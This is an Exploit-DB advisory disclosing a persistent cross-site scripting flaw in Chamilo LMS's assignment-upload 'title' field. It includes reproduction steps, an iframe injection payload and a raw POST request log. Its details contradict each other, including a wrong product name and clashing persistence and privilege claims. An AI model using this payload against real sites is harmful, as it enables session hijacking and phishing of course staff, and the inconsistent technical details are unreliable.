Exploit-DB #39474
Description: Chamilo LMS - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2016-02-19
Author: Vulnerability-Lab

Exploit:
Document Title:
===============
Chamilo LMS - Persistent Cross Site Scripting Vulnerability


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=1727

Video: https://www.youtube.com/watch?v=gNZsQjmtiGI


Release Date:
=============
2016-02-17


Vulnerability Laboratory ID (VL-ID):
====================================
1727


Common Vulnerability Scoring System:
====================================
3.3


Product & Service Introduction:
===============================
Chamilo is an open-source (under GNU/GPL licensing) e-learning and content management system, aimed at improving access to education and knowledge globally. 
It is backed up by the Chamilo Association, which has goals including the promotion of the software, the maintenance of a clear communication channel and 
the building of a network of services providers and software contributors.

The Chamilo project aims at ensuring the availability and quality of education at a reduced cost, through the distribution of its software free of charge,
the improvement of its interface for 3rd world countries devices portability and the provision of a free access public e-learning campus.

(Copy of the Homepage: https://chamilo.org/chamilo-lms/ )


Abstract Advisory Information:
==============================
A persistent cross site scripting vulnerability has been discoverd in the official web-application Product Chamilo LMS.


Vulnerability Disclosure Timeline:
==================================
2016-02-17: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
A GET cross site scripting web vulnerability has been discovered in the official Netlife Photosuite Pro Content Management System.
A vulnerability allows remote attackers to inject malicious script codes on the client-side of the affected web-application.

The vulnerability is located in the `title` input field of the `work/upload.php` file. Remote attackers are able to inject own 
malicious script codes to the client-side of the affected web-application. The request method to inject is POST and the attack 
vector is client-side. The attacker injects the payload in the vulnerable input field to execute the code in view.php.

The security risk of the client-side web vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.3. 
Exploitation of the non-persistent cross site scripting web vulnerability requires low privileged web-application user account and low user interaction. 
Successful exploitation results in session hijacking, persistent phishings attacks, persistent external redirect and malware loads or persistent 
manipulation of affected or connected module context.


Request Method(s):
					[+] POST

Vulnerable Module(s):
					[+] work/

Vulnerable File(s):
					[+] upload.php
					[+] view.php

Vulnerable Parameter(s):
					[+] title


Proof of Concept (PoC):
=======================
The vulnerability can be exploited by remote attackers without web-application user account and low user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

Manual steps to reproduce the vulnerability ...
1. Users goes to [ Course name > Assignments > ]
2. users will follow the [Assignments] made by Course Trainer or admin of Chamilo platform . 
3. Users will click on button titled as [ upload My Assignments] .
4. an upload Document is Shown and A parameter [ Title ] is vulnerable to POC Payload ["><iframe src=http://vulnerability-lab.com >]
5. when trainer or admin view Assignments of user, code is executed successfully 

--- PoC Session Logs [POST] ---
POST /site/main/work/upload.php?cidReq=[Course name]&id_session=0&gidReq=0&gradebook=0&origin=&id=1 HTTP/1.1
Host: chamilo.org
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:22.0) Gecko/20100101 Firefox/22.0 Iceweasel/22.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate

Cookie: defaultMyCourseView15=0; __cfduid=dcb5fdb8a[PII_REDACTED]9addf2c390449a[PII_REDACTED]20; ch_sid=9daew954ef087c82cb0cab[PII_REDACTED]e
Connection: keep-alive
Content-Type: multipart/form-data; boundary=--------------------------[PII_REDACTED][PII_REDACTED]071692496
Content-Length: 1482
----------------------------[PII_REDACTED][PII_REDACTED]071692496
Content-Disposition: form-data; name="title"
[<Persistent Code Injection>] 
----------------------------[PII_REDACTED][PII_REDACTED]071692496
Content-Disposition: form-data; name="file"; filename=""
Content-Type: application/octet-stream
----------------------------[PII_REDACTED][PII_REDACTED]071692496
Content-Disposition: form-data; name="description"
<p>really thats out of brain</p>
----------------------------[PII_REDACTED][PII_REDACTED]071692496
Content-Disposition: form-data; name="submitWork"
----------------------------[PII_REDACTED][PII_REDACTED]071692496
Content-Disposition: form-data; name="_qf__form"
----------------------------[PII_REDACTED][PII_REDACTED]071692496
Content-Disposition: form-data; name="contains_file"
0
----------------------------[PII_REDACTED][PII_REDACTED]071692496
Content-Disposition: form-data; name="active"
1
----------------------------[PII_REDACTED][PII_REDACTED]071692496
Content-Disposition: form-data; name="accepted"
1
----------------------------[PII_REDACTED][PII_REDACTED]071692496
Content-Disposition: form-data; name="MAX_FILE_SIZE"
134217728
----------------------------[PII_REDACTED][PII_REDACTED]071692496
Content-Disposition: form-data; name="id"
1
----------------------------[PII_REDACTED][PII_REDACTED]071692496
Content-Disposition: form-data; name="sec_token"
435ad99d48d0fe